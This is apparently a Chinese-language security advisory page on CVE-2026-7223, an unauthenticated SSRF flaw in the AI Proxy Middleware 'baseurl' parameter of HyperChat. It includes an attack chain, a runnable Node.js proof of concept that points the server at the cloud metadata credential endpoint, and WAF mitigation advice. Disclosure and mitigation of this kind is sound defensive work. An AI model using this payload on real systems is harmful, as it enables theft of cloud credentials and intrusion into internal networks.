IPBUF安全漏洞报告
English
CVE-2026-7223 CVSS 7.3 高危

CVE-2026-7223 HyperChat SSRF漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7223
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BigSweetPotatoStudio HyperChat

相关标签

SSRF服务端请求伪造HyperChatCVE-2026-7223远程代码执行高危漏洞

漏洞概述

BigSweetPotatoStudio HyperChat 2.0.0-alpha.63及之前版本存在服务端请求伪造(SSRF)漏洞。该漏洞源于AI Proxy Middleware组件的fetch函数对baseurl参数处理不当。攻击者无需认证即可远程利用此漏洞,操纵服务器向内网或其他外部目标发起恶意请求,可能导致信息泄露或进一步攻击,目前已有公开PoC。

技术细节

该漏洞位于BigSweetPotatoStudio HyperChat项目的`packages/core/src/http/aiProxyMiddleware.mts`文件中的`fetch`函数。根本原因在于应用程序未对用户输入的`baseurl`参数进行严格的URL格式校验和内网IP限制。攻击者可以通过发送特制的HTTP请求,将`baseurl`指定为内网地址(如127.0.0.1)或云元数据地址。当服务器端的fetch函数执行时,会代替攻击者向这些受限地址发起请求。由于攻击无需认证且无需用户交互,攻击者可利用此漏洞探测内网拓扑、读取本地文件(若支持file协议)或窃取云服务凭证,进而导致更严重的数据泄露或系统被控。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用BigSweetPotatoStudio HyperChat且版本在2.0.0-alpha.63及以下。
STEP 2
漏洞利用
攻击者向AI Proxy Middleware接口发送特制请求,将参数`baseurl`设置为内网敏感地址(如127.0.0.1:8080或云元数据服务地址)。
STEP 3
服务端请求
服务器端接收请求后,`fetch`函数解析恶意`baseurl`并未做校验,直接向攻击者指定的内网地址发起HTTP请求。
STEP 4
信息获取
内网服务响应请求,将敏感数据(如环境变量、凭证、内部页面内容)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-7223: HyperChat SSRF // Target: BigSweetPotatoStudio HyperChat <= 2.0.0-alpha.63 // Description: Exploiting the 'baseurl' parameter in AI Proxy Middleware const axios = require('axios'); // Target URL of the vulnerable HyperChat instance const TARGET = 'http://vulnerable-host:3000'; // Malicious internal URL to access (e.g., AWS Metadata, Local Admin Panel) // Change this to your controlled server or internal target to verify const MALICIOUS_URL = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; async function exploit() { console.log(`[+] Sending SSRF payload to ${TARGET}...`); try { // Constructing the payload with the manipulated 'baseurl' argument const payload = { messages: [{ role: 'user', content: 'test' }], // The vulnerable parameter baseurl: MALICIOUS_URL }; // Sending the request to the vulnerable endpoint const response = await axios.post(`${TARGET}/api/chat/completions`, payload, { headers: { 'Content-Type': 'application/json' }, // Disable redirect following to capture potential 30x leaks if any maxRedirects: 0, timeout: 5000 }); console.log('[+] Request sent successfully!'); console.log('[+] Response data:', JSON.stringify(response.data, null, 2)); } catch (error) { if (error.response) { console.log('[!] Server responded with status:', error.response.status); console.log('[!] Response data:', JSON.stringify(error.response.data, null, 2)); } else { console.error('[!] Exploit failed:', error.message); } } } exploit();

影响范围

BigSweetPotatoStudio HyperChat <= 2.0.0-alpha.63

防御指南

临时缓解措施
建议在WAF或应用网关处添加规则,拦截对`baseurl`参数中包含内网IP(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)或非白名单域名的请求。同时,限制应用容器的出站网络权限,仅允许访问必要的外部API。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表